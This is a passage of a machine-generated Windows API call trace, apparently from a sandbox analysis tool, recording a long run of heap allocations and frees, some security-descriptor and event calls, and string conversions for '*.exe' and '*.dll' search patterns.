Flags=0x8, Size=0x40) returned 0x252c360 [0165.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x2150048 [0165.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c318 [0165.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c318) returned 1 [0165.639] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0165.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2150048) returned 1 [0165.640] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7e8670, lpbSaclPresent=0x36f5f4, pSacl=0x36f648, lpbSaclDefaulted=0x36f5f4 | out: lpbSaclPresent=0x36f5f4, pSacl=0x36f648, lpbSaclDefaulted=0x36f5f4) returned 1 [0165.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c318 [0165.640] CreateEventA (lpEventAttributes=0x36f63c, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0165.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c318) returned 1 [0165.640] GetLastError () returned 0x0 [0165.640] LocalFree (hMem=0x7e8670) returned 0x0 [0165.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c318 [0165.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x2150048 [0165.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c2d0 [0165.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c2d0) returned 1 [0165.640] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0165.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2150048) returned 1 [0165.641] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7e8670, lpbSaclPresent=0x36f5f4, pSacl=0x36f648, lpbSaclDefaulted=0x36f5f4 | out: lpbSaclPresent=0x36f5f4, pSacl=0x36f648, lpbSaclDefaulted=0x36f5f4) returned 1 [0165.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c2d0 [0165.641] CreateEventA (lpEventAttributes=0x36f63c, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0165.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c2d0) returned 1 [0165.641] GetLastError () returned 0x0 [0165.641] LocalFree (hMem=0x7e8670) returned 0x0 [0165.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2800) returned 0x2150048 [0165.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bb80 [0165.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c2d0 [0165.641] Wow64DisableWow64FsRedirection (in: OldValue=0x36f670 | out: OldValue=0x36f670*=0x0) returned 1 [0165.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2800) returned 0x2152850 [0165.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d5e8 [0165.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2d8 [0165.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1f8 [0165.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1f8) returned 1 [0165.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2d8) returned 1 [0165.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5e8) returned 1 [0165.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0165.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2800) returned 0x2152850 [0165.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d5e8 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2d8 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1f8 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2c8 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d600 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2b8 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1b0 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2a8 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c168 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1f8) returned 1 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2d8) returned 1 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2c8) returned 1 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5e8) returned 1 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d5e8 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2c8 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2d8 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1f8 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1b0) returned 1 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2b8) returned 1 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c168) returned 1 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2a8) returned 1 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d600) returned 1 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d600 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2a8 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c168 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2b8 [0165.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1b0 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2c8) returned 1 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1f8) returned 1 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2d8) returned 1 [0165.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5e8) returned 1 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d5e8 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2d8 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1f8 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2c8 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c168) returned 1 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2a8) returned 1 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1b0) returned 1 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2b8) returned 1 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d600) returned 1 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0165.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252d9d0 [0165.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c1f8, cbMultiByte=5, lpWideCharStr=0x252d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252da58 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d9d0) returned 1 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d600 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2b8 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252d9d0 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252da58) returned 1 [0165.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252da58 [0165.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x252c288, cbMultiByte=5, lpWideCharStr=0x252da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252dae0 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252da58) returned 1 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2a8 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252da58 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dae0) returned 1 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1f8) returned 1 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2d8) returned 1 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2c8) returned 1 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5e8) returned 1 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2800) returned 0x2152850 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d5e8 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2c8 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1f8 [0165.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2d8 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1b0 [0165.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d298 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c168 [0165.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d288 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0165.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5e8) returned 1 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d278 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c240 [0165.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x2155058 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d248 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5e8 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d238 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c630 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d228 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c678 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d218 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c6c0 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d208 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c708 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d1e8 [0165.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c750 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d1f8 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c798 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1f8) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2c8) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1b0) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2d8) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c168) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d298) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d288) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c240) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d278) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d5e8 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d278 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c240 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d288 [0165.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5e8) returned 1 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d298 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c168 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2d8 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1b0 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2c8 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1f8 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5e8) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d248) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c630) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d238) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c678) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d228) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c6c0) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d218) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c708) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d208) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c750) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d1e8) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c798) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d1f8) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2155058) returned 1 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x2155058 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d1f8 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c798 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d1e8 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c750 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d208 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c708 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d218 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c6c0 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d228 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c678 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d238 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c630 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d248 [0165.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5e8 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c240) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d278) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d288) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c168) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d298) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1b0) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2d8) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1f8) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2c8) returned 1 [0165.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2c8 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1f8 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2d8 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1b0 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d298 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c168 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d288 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d278 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c240 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0165.647] RtlAllocateHeap (HeapHandle=0x2520000, 